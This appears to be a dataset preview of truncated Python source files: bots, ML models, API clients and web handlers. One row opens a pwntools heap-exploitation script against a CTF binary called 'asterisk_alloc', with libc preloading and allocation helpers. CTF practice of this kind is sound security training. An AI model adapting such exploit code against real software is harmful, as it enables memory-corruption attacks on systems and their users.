id stringlengths 3 8 | content stringlengths 100 981k |
|---|---|
3397644 | import aiocache
from discord.guild import Guild
import tortoise.exceptions
from alttprbot import models
CACHE = aiocache.Cache(aiocache.SimpleMemoryCache)
async def config_set(self, parameter, value):
await models.Config.update_or_create(guild_id=self.id, parameter=parameter, defaults={'value': value})
await... |
3397726 | from .base_collection import BaseCollection
from ..library import (
whitespace_char_text_normalizer,
float_with_space_text_normalizer,
int_with_space_text_normalizer,
float_with_digit_n_space_text_normalizer,
int_with_digit_n_space_text_normalizer,
full_punctuation_mapping_text_normalizer,
s... |
3397794 | from tir import Webapp
import unittest
class OGC040(unittest.TestCase):
@classmethod
def setUpClass(inst):
from datetime import datetime
DateSystem = datetime.today().strftime('%d/%m/%Y')
inst.oHelper = Webapp()
inst.oHelper.Setup('SIGAADV',DateSystem,'T1','D MG 0... |
3397816 | from PIL import Image
import torchvision.transforms.functional as TF
from torch.utils.data import Dataset, DataLoader
from torch.utils.data.dataloader import default_collate
import utils.io as io
class DetInputDataset(Dataset):
def __init__(self,det_input_json):
super().__init__()
self.det_input ... |
3397824 | from .efficientnet import (EfficientNet, efficientnet_b0, efficientnet_b1,
efficientnet_b2, efficientnet_b3, efficientnet_b4,
efficientnet_b5, efficientnet_b6, efficientnet_b7)
from .efficientnet_lsoftmax import (efficientnetl_b0,EfficientNetL)
from .efficientnetsl ... |
3397846 | def toJadenCase(string):
""" to_jaden_case == PEP8 (forced mixedCase by CodeWars) """
return ' '.join(a.capitalize() for a in string.split())
|
3397866 | from os import getenv
from json import loads, JSONEncoder
from requests import post
class _Singleton(type):
""" A metaclass that creates a Singleton base class when called. """
_instances = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._instances:
cls._instances[cls] = super(_Singleton, cls)... |
3397889 | import torchvision as tv
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import time
class Model(nn.Module):
def __init__(self):
super(Model, self).__init__()
self.conv1 = nn.Conv2d(3, 20, 5)
self.conv2 = nn.Conv2d(20, 50, 5)
self.fc... |
3397908 | import json
import time
import urllib.request
import urllib.error
import certifi
from collections import deque
from . import utils
CFDOCS_BASE_URL = "https://raw.githubusercontent.com/foundeo/cfdocs/master/data/en/"
CFDOCS_HTTP_ERROR_MESSAGE = """
<p>HTTP requests to GitHub seem to be failing at the moment. This means... |
3397920 | from twilio.base.exceptions import TwilioRestException
from twilio.http import HttpClient
from twilio.http.request import Request
import platform
from twilio import __version__
class Hologram(object):
def __init__(self, request, response):
self.request = request
self.response = response
class H... |
3397931 | from builtins import object
from collections import deque
"""Keys in mockDB correspond to (method, route) calls"""
mockDB = dict()
class MockResponse(object):
"""Mocks requests.Response"""
def __init__(self, status_code=None, json=None, text=None):
self._status_code = status_code
self._text... |
3397950 | import itertools
def chunk(iterable, n):
"""Splits an iterable into a list of length ``n``.
If the iterable is finite, The last element may be shorter than
the other chunks, depending on the length of the iterable.
"""
i = iter(iterable)
return iter(lambda: list(itertools.islice(i, n)), [])
|
3397956 | from __future__ import print_function
# import matplotlib
# matplotlib.use('Agg')
import unittest
import numpy as np
from SimPEG.electromagnetics import resistivity as dc
from SimPEG.electromagnetics.static import utils
from SimPEG import maps, mkvc, data
from SimPEG.utils.io_utils import io_utils_electromagnetics as... |
3397959 | import math
import re
import asyncio
from functools import lru_cache, partial
import time
from datetime import datetime
from dateutil import tz
import datetime
from multiprocessing import Pool
import spacy
from spacy import displacy
import pandas as pd
import redis
import numpy as np
import dill
import nltk
nltk.down... |
3398005 | from pwn import *
r = process("./asterisk_alloc", env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF("libc.so.6")
def malloc(n, s):
r.sendlineafter('choice: ', '1')
r.sendlineafter('Size: ', str(n))
r.sendafter('Data: ', s)
def calloc(n, s):
r.sendlineafter('choice: ', '2')
r.sendlineafter('Size: ',... |
3398016 | import ctypes
import pkg_resources
import platform
if platform.system() == "Windows":
library_name = "openxr_loader.dll"
elif platform.system() == "Linux":
library_name = "libopenxr_loader.so"
else:
raise NotImplementedError
library_path = pkg_resources.resource_filename("xr.library", library_name)
openxr... |
3398043 | import os
import boto3
table_name = f'aws-scheduler-events-v2-{os.environ.get("STAGE")}'
table = boto3.resource('dynamodb').Table(table_name)
client = boto3.client('dynamodb') |
3398065 | import webapp2
from templates import get_template
class CalendarHandler(webapp2.RequestHandler):
def get(self):
data = { "page" : "write"}
self.response.write(get_template('calendar.html').render(data))
|
3398075 | import logging
import os
import torch
import torch.nn as nn
import numpy as np
logger = logging.getLogger(__name__)
def recall(sentence, srl_string):
matches = 0
for word in sentence.split():
if word in srl_string:
matches += 1
if len(sentence.split()) > 0:
return float(matc... |
3398100 | from polog.core.engine.real_engines.multithreaded.engine import MultiThreadedRealEngine
from polog.core.engine.real_engines.singlethreaded.engine import SingleThreadedRealEngine
def real_engine_fabric(settings):
"""
Здесь "порождаются" движки Polog.
Т. к. их несколько, выбор движка осуществляется исходя ... |
3398110 | import argparse
import os
import os.path as osp
from shutil import copyfile
import mmcv
from tqdm import tqdm
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("--annotation_path", default="/data/coco_train.json")
parser.add_argument("--image_root", default="/data/train")
parse... |
3398125 | import textwrap
from typing import Union
from antlr4.Token import CommonToken
from antlr4.tree.Tree import TerminalNodeImpl
def is_pow2(x: int) -> bool:
return (x > 0) and ((x & (x - 1)) == 0)
def roundup_pow2(x: int) -> int:
return 1<<(x-1).bit_length()
def roundup_to(x: int, n: int) -> int:
if x % n:... |
3398155 | from bxcommon import constants
from bxcommon.messages.bloxroute import short_ids_serializer
from bxcommon.messages.bloxroute.abstract_bloxroute_message import AbstractBloxrouteMessage
from bxcommon.messages.bloxroute.bloxroute_message_type import BloxrouteMessageType
from bxutils.logging.log_level import LogLevel
cla... |
3398178 | from torch import nn
import torch
class CTCLoss(nn.Module):
def __init__(self, blank_idx, reduction='mean'):
super().__init__()
self.loss_func = torch.nn.CTCLoss(blank=blank_idx, reduction=reduction, zero_infinity=True)
def forward(self, pred, args):
batch_size = pred.size(0)
... |
3398216 | import re
def run():
dev = __proxy__['junos.conn']()
op1 = dev.rpc.request_shell_execute(command="sysctl net.inet.tcp.system_attack_count")
obj = re.search('\d+', op1.text)
obj1 = int(obj.group())
return ({'fields': {"tcp-ddos-attack": obj1}})
|
3398286 | from key import *
import pprint as pp
import boto3
s3 = boto3.client('s3', region_name = 'us-east-1',
aws_access_key_id = AWS_KEY_ID,
aws_secret_access_key = AWS_SECRET)
response = s3.upload_file(Filename='upload/0000.jpeg', Key='texting.jpeg', Bucket='shokr-1862020')
pp.pprint(r... |
3398362 | import os
import torch
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
from qutip import *
from plot_helpers import *
from model import load
import os
import matplotlib.ticker as mticker
train_end = 2
expo_start = 1.9732
expo_good_end = 6
np.random.seed(0)
torch.manual_seed(0)
matplotlib.rcParams... |
3398407 | from lstm_mobility_model.config import Constants
class AbstractMixtureDensityBuilder(object):
"""It transforms the output from neural network
into a set of parameters for probability mixtures
functions.
"""
DEFAULT_NUMBER_OF_MIXTURES = 10
def __init__(self, number_of_mixtures=None):
"... |
3398437 | import numpy as np
import time
def multi_list(a,b):
c=[]
for i in a:
c.append(i*b[i])
return c
def multi_array(a,b):
c=a*b
return c
a=range(1000)
b=range(1000)
time_start=time.time()
for i in range(10000):
c=multi_list(a,b)
time_end=time.time()
print('multi list totally cost',time_end... |
3398442 | class RTMServiceError(RuntimeError):
def __init__(self, message, err_data):
super(RTMServiceError, self).__init__(message)
self.err_data = err_data
class RTMService(object):
"""service of Real Time Message"""
def __init__(self, rtm_client):
self._rtm_client = rtm_client
class R... |
3398476 | from __future__ import absolute_import
import logging
from flask import Blueprint, request, abort
from huskar_api import settings
from huskar_api.extras.rate_limiter import (
check_new_request, RateExceededError)
from huskar_api.switch import switch, SWITCH_ENABLE_RATE_LIMITER
bp = Blueprint('middlewares.rate_... |
3398534 | import unittest
from sacrerouge.common.testing.util import sacrerouge_command_exists
class TestMultiLing2013Subcommand(unittest.TestCase):
def test_command_exists(self):
assert sacrerouge_command_exists(['setup-dataset', 'multiling2013'])
|
3398559 | from typing import List
import matplotlib.pyplot as plt
import numbers
import numpy as np
import pandas as pd
from scipy import stats
from sklearn.metrics import auc, plot_roc_curve, roc_curve, RocCurveDisplay
from sklearn.model_selection import KFold, LeaveOneOut, GroupKFold, LeaveOneGroupOut
from sklearn.preprocessin... |
3398624 | import numpy as np
from typing import Optional, NamedTuple, Tuple, Iterable
class Point(NamedTuple):
x: float
y: float
class Line(object):
def __init__(self, slope: float, intercept: float):
self.slope = slope
self.intercept = intercept
def solve_point(self, x: float = None, y: flo... |
3398641 | import pytest
from authlib.integrations.httpx_client import (
OAuthError,
OAuth1Client,
SIGNATURE_TYPE_BODY,
SIGNATURE_TYPE_QUERY,
)
from ..utils import MockDispatch
oauth_url = 'https://example.com/oauth'
@pytest.mark.asyncio
def test_fetch_request_token_via_header():
request_token = {'oauth_tok... |
3398660 | from datetime import datetime
from sqlalchemy import text, literal_column
from sqlalchemy.orm import Session
from app import schemas
from app.models import User, Reaction
def get_user(db: Session, item_user: str):
return db.query(User).filter(User.slack_id == item_user).first()
def get_users(db: Session, year... |
3398672 | import torch
import torch.nn as nn
def pad_tensor(input, divide):
height_org, width_org = input.shape[2], input.shape[3]
if width_org % divide != 0 or height_org % divide != 0:
width_res = width_org % divide
height_res = height_org % divide
if width_res != 0:
width_div = d... |
3398677 | import requests
import datetime
import pandas as pd
from matplotlib import pyplot as plt
from matplotlib import dates as mpl_dates
import matplotlib.pyplot
import seaborn as sns
plt.style.use('seaborn')
sns.set(font='Franklin Gothic Book',
rc={
'axes.axisbelow':False,
'axes.edgecolor':'lightgrey',
'axes.fac... |
3398681 | import omegaconf
import torch.nn as nn
def load_encoder(encoder_cfg, in_channels):
if encoder_cfg.type == "cnn3d":
from .encoder.cnn3d import CNN3D
return CNN3D(in_channels=in_channels, **encoder_cfg.params)
elif encoder_cfg.type == "cnn2d":
from .encoder.cnn2d import CNN2D
r... |
3398695 | import stk
import pymongo
from typing import Iterable
import itertools
class ConstructedMoleculeCreator:
def __init__(self):
self._num_molecules = 1
def get_molecules(self) -> Iterable[stk.ConstructedMolecule]:
while True:
self._num_molecules += 1
bb1 = stk.BuildingBl... |
3398753 | from __future__ import absolute_import
from rouge.rouge import FilesRouge, Rouge
__version__ = "0.3.0"
__all__ = ["FilesRouge", "Rouge"]
|
3398763 | from tabulate import tabulate
# from l_03_create_devices import create_devices
from util.create_utils import create_devices
# --- Main program --------------------------------------------
if __name__ == '__main__':
devices = create_devices(num_subnets=5, num_devices=3, random_ip=True)
print("\n", tabulate(dev... |
3398770 | from eth_utils import denoms
GAS_EXTCODEHASH_EIP1052 = 400
GAS_SSTORE_EIP1283_NOOP = 200
GAS_SSTORE_EIP1283_INIT = 20000
GAS_SSTORE_EIP1283_CLEAN = 5000
GAS_SSTORE_EIP1283_CLEAR_REFUND = 15000
GAS_SSTORE_EIP1283_RESET_CLEAR_REFUND = 19800
GAS_SSTORE_EIP1283_RESET_REFUND = 4800
EIP1234_BLOCK_REWARD = 2 * denoms.ether... |
3398786 | from bitmovin.resources import AudioMedia
from .generic_media_service import GenericMediaService
class Audio(GenericMediaService):
def __init__(self, http_client):
super().__init__(http_client=http_client,
media_type_url='audio',
resource_class=AudioMedia... |
3398793 | from .clean_data import preproc_data
all_datasets_ls = [
# # 'adult',
# #'airlines',
# # 'Amazon_employee_access',
# # 'bank-marketing',
# # 'Click_prediction_small',
# # 'credit-g',
# # 'eeg-eye-state',
'electricity',
# 'kc1',
... |
3398819 | from enum import Enum
from ._ingenialink import ffi, lib
from ingenialink.utils._utils import *
from abc import ABC
# CANOPEN DTYPES
IL_REG_DTYPE_DOMAIN = 15
class REG_DTYPE(Enum):
"""Data Type."""
U8 = lib.IL_REG_DTYPE_U8
"""Unsigned 8-bit integer."""
S8 = lib.IL_REG_DTYPE_S8
"""Signed 8-bit i... |
3398899 | import torch
from src.data.utils import TextEncoder
import src.data.data as data
import src.models.models as models
from src.evaluate.sampler import BeamSampler, GreedySampler, TopKSampler
from config import settings
import utils.utils as utils
def load_model_file(model_file):
model_stuff = data.load_checkpoin... |
3398903 | from collections import namedtuple
import falcon
from builtins import str
from builtins import object
import structlog
from monitorrent.plugin_managers import NotifierManager
log = structlog.get_logger()
# noinspection PyUnusedLocal
class NotifierCollection(object):
def __init__(self, notifier_manager):
... |
3398937 | from songs import Songs, Playlists
from wordpool import WordPool
from settings import Settings
import functions as func
import os
st = Settings
def search_and_save():
pls = Playlists(keyword=st.search_keyword,
limit=st.result_limit)
# 获得前50项歌单
pls.get_playlists()
# 递归下载歌单
pls... |
3398959 | import logging
from typing import List, Optional
from hummingbot.connector.exchange.bitfinex.bitfinex_api_user_stream_data_source import BitfinexAPIUserStreamDataSource
from hummingbot.connector.exchange.bitfinex.bitfinex_auth import BitfinexAuth
from hummingbot.core.data_type.user_stream_tracker import UserStreamTrac... |
3398999 | import torch
import torch.nn as nn
class PCCN(nn.Module):
"""PCCN convolution layer.
Implementation from the paper Deep Parametric Convtinuous Convolutional Neural Network
(http://openaccess.thecvf.com/content_cvpr_2018/papers/Wang_Deep_Parametric_Continuous_CVPR_2018_paper.pdf)
To be used with a `li... |
3399079 | import clr
clr.AddReference('RevitAPI')
from Autodesk.Revit.DB import *
clr.AddReference("RevitServices")
import RevitServices
from RevitServices.Persistence import DocumentManager
doc = DocumentManager.Instance.CurrentDBDocument
items = UnwrapElement(IN[0])
paintedmats = IN[1]
elementmats = list()
elementareas = lis... |
3399088 | BASE_URL = 'http://www.alphavantage.co/query'
# time period flags
INTRADAY = 'I'
DAILY = 'D'
WEEKLY = 'W'
MONTHLY = 'M'
# field names
OPEN = 'open'
HIGH = 'high'
LOW = 'low'
CLOSE = 'close'
VOLUME = 'volume'
ADJUSTED_CLOSE = 'adjusted_close'
DIVIDEND = 'dividend_amount'
SPLIT_COEFFICIENT = 'split_coefficient'
|
3399089 | from generativepy.drawing import make_image
from generativepy.color import Color
'''
In this example, similar to color.py, we set colours using CSS names.
See the color module for a list of colours, or look up "CSS named colours" on the web.
'''
def draw(ctx, width, height, frame_no, frame_count):
# Set the back... |
3399091 | from flask import render_template
from flask import request
from app.settings import config
from .blueprint import blueprint
from .models import MainCategoryProduct, Product, CategoryProduct
from .logger import logger
# TODO: Возможно имеет смысл вынести хелперы в отдельный файл
def get_categorys():
main_categor... |
3399110 | import functools
from urllib import parse
from waterbutler.core import path
class BitbucketPathPart(path.WaterButlerPathPart):
bitbucket_safe_chars = '~`!@$^&*()_-+={}|[];:,<.>"\' '
DECODE = parse.unquote
# TODO: mypy lacks a syntax to define kwargs for callables
ENCODE = functools.partial(parse.qu... |
3399121 | import importlib
import subprocess
import sys
import os
import pkg_resources
from sqlalchemy import select, and_
def open_database(engine):
conn = engine.connect()
print("Database Opened")
return conn
def install(package): # Function to install the given packaged
subprocess.run(["pip", "install", ... |
3399128 | from django.db import models
class Category(models.Model):
name = models.CharField(max_length=30)
parent = models.ForeignKey('Category', on_delete=models.CASCADE, null=True)
def __str__(self):
return self.name
class Expense(models.Model):
amount = models.DecimalField(max_digits=10, decimal_... |
3399150 | import pytest
from pycfmodel.model.resources.security_group_ingress import SecurityGroupIngress
@pytest.fixture()
def security_group_ingress_ipv4_1():
return SecurityGroupIngress(
**{
"Type": "AWS::EC2::SecurityGroupIngress",
"Properties": {
"GroupId": "sg-12341234... |
3399191 | import numpy as np
class cov:
def __init__( self, params = None ):
self.params = params
if self.params is None:
self.params = np.log(1)
self.nparams = 1
self.sigma2, self.prec = self._trans_params( params )
def get_cov( self, N, params = None ):
''' compute ... |
3399209 | from LanguagePrinter import LanguagePrinter
type_mappings = {
'BinNums.Z': 'int',
'Datatypes.bool': 'bool'
}
def convert_type(t):
global type_mappings
res = type_mappings.get(t)
if res:
return res
else:
return t
InstructionListCode = '''
typedef struct {
Instruction ins... |
3399229 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from builtins import range
from builtins import object
from .clustcompare import *
def _non_sequential_raise(basis):
"""Ensure that the linear function index of the cluster functions
is sane. That is, ... |
3399239 | from django.conf import settings
from django.conf.urls.static import static
from django.urls import include, path
from django.contrib import admin
from django.contrib.sitemaps.views import sitemap
from spectator.core.apps import spectator_apps
from spectator.core.sitemaps import CreatorSitemap
if spectator_apps.is_en... |
3399252 | from pydantic import BaseSettings
class OLBaseSettings(BaseSettings):
class Config: # noqa: WPS431
case_sensitive = False
|
3399254 | from shutil import rmtree
from os.path import join
from contextlib import nested
from datetime import datetime, timedelta
from mock import patch
from jig.tests.testcase import (
RunnerTestCase, PluginTestCase, result_with_hint)
from jig.conf import PLUGIN_CHECK_FOR_UPDATES
from jig.commands.hints import GIT_REPO_... |
3399255 | import os
# Environment variables
SECRET_KEY = os.environ.get('SECRET_KEY', '')
IS_HEROKU = os.environ.get('IS_HEROKU', False)
FLASK_DEBUG = not IS_HEROKU
DATABASE_URL = os.environ.get('DATABASE_URL', '/tmp/profbit.db')
SENTRY_PRIVATE_DSN = os.environ.get('SENTRY_PRIVATE_DSN', '')
GOOGLE_ANALYTICS_ID = os.environ.get(... |
3399262 | import unittest
import disco.fileutils as fileutils
from disco.error import DataError
# value far bigger than today's hdds
fileutils.MIN_DISK_SPACE = 2**64
class FileutilsTest(unittest.TestCase):
def test_ensure_free_space(self):
self.assertRaises(DataError, fileutils.ensure_free_space, "/tmp") |
3399315 | from relogic.components.component import Component
from relogic.structures.structure import Structure
from typing import List
class SRLComponent(Component):
"""
"""
def execute(self, inputs: List[Structure]):
counter = 0
expanded_inputs = []
mapping = []
for idx, structure in enumerate(inputs)... |
3399324 | from distutils.core import setup
name = 'pyPaSWAS'
setup(
#Information about the package
name=name,
version='0.1.0',
description='Python implementation of Smith-Waterman on CUDA',
author='<NAME>',
author_email='<EMAIL>',
url='http://trac.nbic.nl/' + name.lower(),
license='', #TODO Prov... |
3399344 | import os
from PIL import Image
from easydict import EasyDict as edict
from torch.backends import cudnn
from config import config, default, dataset_config
from solvers import *
from data_loaders import *
default.network = 'MULTICYCLEGAN'
#default.network = 'STARGAN'
default.dataset_choice = ['MAKEUP']
#default.datas... |
3399362 | from scaner.utils import add_metadata
import json
from flask import current_app
@add_metadata('tasks')
def search(*args, **kwargs):
return {'tasks': current_app.tasks.get_task_list()}, 200
@add_metadata('status')
def get(taskId, *args, **kwargs):
return {'status': current_app.tasks.get_task_status(taskId)}... |
3399407 | config = {
"version": 1,
"controllers": {
"con1": {
"type": "opx1",
"analog_outputs": {
1: {"offset": +0.0},
},
"digital_outputs": {1: {}, 2: {}},
}
},
"elements": {
"qe1": {
"singleInput": {... |
3399440 | r"""
Integration models
"""
import os
from .base import Model
from .scglue import AUTO, configure_dataset, SCGLUEModel
def load_model(fname: os.PathLike) -> Model:
r"""
Load model from file
Parameters
----------
fname
Specifies path to the file
"""
return Model.load(fname)
|
3399458 | COURSES = {
"count": 10000,
"next": "https://www.udemy.com/api-2.0/courses/?page=2&page_size=12",
"previous": None,
"results": [
{
"_class": "course",
"id": 4314396,
"title": "CAREER COACHING FOR YOUR SUCCESS. HOW TO BE A BOSS!",
"url": "/course/ca... |
3399464 | import sys
import os
from os.path import join as pjoin
import subprocess
from nose.tools import eq_, ok_
from ...core.test import utils
from ...core.test.utils import which, temp_working_dir_fixture, dump
from ...core.test.test_build_store import fixture
def setup():
global hdist_script, projdir
projdir = o... |
3399476 | from setuptools import setup, find_packages
setup(name='multi_script_editor',
version='2.1',
description='Python editor for multiple platforms',
long_description='Python editor for multiple platforms and CG software applications',
classifiers=[
'Development Status :: Release 2.1',
... |
3399502 | import numpy as np
from descarteslabs.common.workflows.utils import masked_stack
# Fixtures:
foo = np.ma.masked_array(
np.array([[1, 2], [3, 4]]), np.array([[True, False], [False, True]])
)
bar = np.ma.masked_array(
np.array([[5, 6], [7, 8]]), np.array([[False, False], [True, False]])
)
baz = np.ma.masked_ar... |
3399519 | import functools
import inspect
import logging
import typing
from typing import Any, Optional, Type
from dbnd._core.configuration.environ_config import get_dbnd_project_config
from dbnd._core.current import current_task_run, get_databand_run, try_get_current_task
from dbnd._core.errors import show_exc_info
from dbnd.... |
3399553 | from guniflask.annotation import Annotation, AnnotationUtils
class MethodDefFilter(Annotation):
def add_filter(self, name, args=None):
if 'values' not in self:
self['values'] = []
self['values'].append({'name': name, 'args': args})
def get_filters(self):
if 'values' not in... |
3399574 | import logging
import os
import tantivy
from tqdm import tqdm
class SparseRetrieverFast:
def __init__(self, path='sparse_index', load=True):
if not os.path.exists(path):
os.mkdir(path)
schema_builder = tantivy.SchemaBuilder()
schema_builder.add_text_field("body", stored=False)... |
3399581 | import pyecharts.options as opts
from pyecharts.charts import Line
from pyecharts.faker import Faker
c = (
Line()
.add_xaxis(Faker.choose())
.add_yaxis("商家A", Faker.values(), is_smooth=True)
.add_yaxis("商家B", Faker.values(), is_smooth=True)
.set_series_opts(
areastyle_opts=opts.AreaStyleOp... |
3399589 | f = [0, 1, 2, -1, -1, 5, 9, -1, 8, 6]
def flip(n):
x = 0
while n > 0:
a = n % 10
if f[a] == -1: return -1
x += 10 ** (len(str(n)) - 1) * a
n /= 10
#print(a, n, x)
return x
n, s = [int(x) for x in raw_input().split()]
nums = [int(x) for x in raw_input().split()]
m = ... |
3399602 | from collections import OrderedDict
from django.contrib.auth import get_user_model
from django.db import models
from django.urls import reverse
from rest_framework import serializers
from rest_framework.fields import SerializerMethodField
from common.utils import full_url
from data_import.models import DataFile
from... |
3399661 | from paddlepalm.lr_sched.base_schedualer import Schedualer
from paddle import fluid
class TriangularSchedualer(Schedualer):
""" Implementation of Slanted Triangular learning rate schedual method, more details refer to https://arxiv.org/pdf/1801.06146.pdf . Apply linear warmup of learning rate from 0 to learning_r... |
3399662 | expected_output = {
'session_count': 1,
'session_id': {
24: {
'global_lock': 'None',
'in_bad_rpcs': '0',
'in_rpcs': '1',
'login_time': '2020-09-29T15:19:54+00:00',
'out_notifications': '0',
'out_rpc_errors': '0',
'source_host': '10.69.35.35',
'tr... |
3399670 | from pathlib import Path
from django.conf import settings
from django.core.files.uploadedfile import SimpleUploadedFile
from django.test import TestCase
from django.urls import reverse
from .forms import CommentForm
from .models import User, Webpage, Template, Comment
USERNAME = 'haha69420'
PASSWORD = '<PASSWORD> < ... |
3399671 | from colorama import Fore, Back, Style
from utility import Utility
from abstract_analyzer import Analyzer
class NVDMatchingAnalyzer(Analyzer):
def __init__(self, project):
super().__init__(project)
def analyze(self, nvd_projects=[]):
self.match_dir_to_nvd_project(nvd_projects)
def mat... |
3399676 | import os
import json
import copy
import numpy as np;
np.random.seed(0)
import matplotlib.pyplot as plt
import seaborn as sns; sns.set_theme()
cmap = sns.diverging_palette(220, 10, as_cmap=True)
order_name_list = ["alphabetical", "alphabetical_reverse", "length", "length_reverse", "no_sort", "no_sort_reverse", "verbat... |
3399686 | import gzip
import sys
from collections import defaultdict
def readFasta(infile):
sequence = ''
if '.gz' in infile:
with gzip.open(infile) as data:
for line in data:
if '>' in line:
seqname = line.strip().replace('>','')
else:
sequence += line.strip().replace(' ','')
else:
with open(infil... |
3399689 | import torch
import torch.nn as nn
import torch.nn.functional as F
import torchvision
import torchvision.transforms as T
class VGG(nn.Module):
"""VGG/Perceptual Loss
Parameters
----------
conv_index : str
Convolutional layer in VGG model to use as perceptual output
"""
def __init__(... |
3399711 | from typing import List
from MotionGRU import MotionGRU
from SpatiotemporalLSTM import SpatiotemporalLSTM
import torch
from torch import nn, Tensor
# 由于 M 的存在之字形贯穿所有 cell，要保证 M 的 channel 不变，只能所有 layer 隐藏层通道数相同
class MotionRNN(nn.Module):
def __init__(self, in_channels: int, hidden_channels_list: List[int], kerne... |
3399750 | class Node:
def __init__(self, val):
self.val = val
self.left = self.right = None
class Solution:
def pathSum(self, nums: List[int]) -> int:
self.totalSum = 0
root = Node(nums[0] % 10)
for num in nums[1:]:
depth, position, val = num // 100, (num // 1... |
3399757 | from cisco_sdwan_policy.BaseObject import BaseObject
from cisco_sdwan_policy.Helper.Sequence import Sequence
class DataPolicy(BaseObject):
def __init__(self,name,description,sequences,default_action=None,id=None,references=None,**kwargs):
self.id = id
self.description= description
self.na... |
3399764 | from setuptools import setup
# read the contents of your README file
from os import path
this_directory = path.abspath(path.dirname(__file__))
with open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:
long_description = f.read()
setup(
name='mapextrackt',
version='0.4.8.5',
packages=[... |
3399790 | import sys
import io
import os
from itertools import islice
from ate_rule_learn import handle_special_cases, write_sentences
# Reads the input sentences from the specified file.
def get_sentences(file_path):
sentences = []
with io.open(file_path, 'r', encoding='utf8') as f:
# skipping first line
... |
3399803 | import pytest
from datetime import datetime
from jtv2xmltv.parser import parse_titles, parse_schedule
def test_correct_jtv_header():
data = b'JTV 3.x TV Program Data\x0A\x0A\x0A'
assert parse_titles(data) == []
def test_alternative_jtv_header():
data = b'JTV 3.x TV Program Data\xA0\xA0\xA0'
assert p... |
3399807 | import torch
import torch.nn as nn
import torch.nn.functional as F
__all__ = [
'CELoss',
'KDLoss',
]
class CELoss(nn.Module):
'''Cross Entropy Loss'''
def __init__(self):
super().__init__()
def forward(self, stu_pred, label):
loss = F.cross_entropy(stu_pred, label)
return... |
3399836 | import glob
import json
import os
import tempfile
from aplatam import __version__
from aplatam.build_trainset import CnnTrainsetBuilder
def test_cnn_trainset_builder():
builder = CnnTrainsetBuilder(
['tests/fixtures/sen2_20161215_clipped.tif'],
'tests/fixtures/settlements.geojson',
size=1... |
3399849 | from .crb import crb_det_farfield_1d, crb_sto_farfield_1d, crb_stouc_farfield_1d
from .mse import ecov_music_1d, ecov_coarray_music_1d
|
3399852 | from typing import Union
import numpy as np
class Softmax:
def __call__(self, x: Union[list, np.ndarray]) -> np.ndarray:
e_x = np.exp(x - np.max(x))
return e_x / e_x.sum(axis=0)
def gradient(self, x: Union[list, np.ndarray]) -> np.ndarray:
p = self.__call__(x)
return p * (1 - ... |
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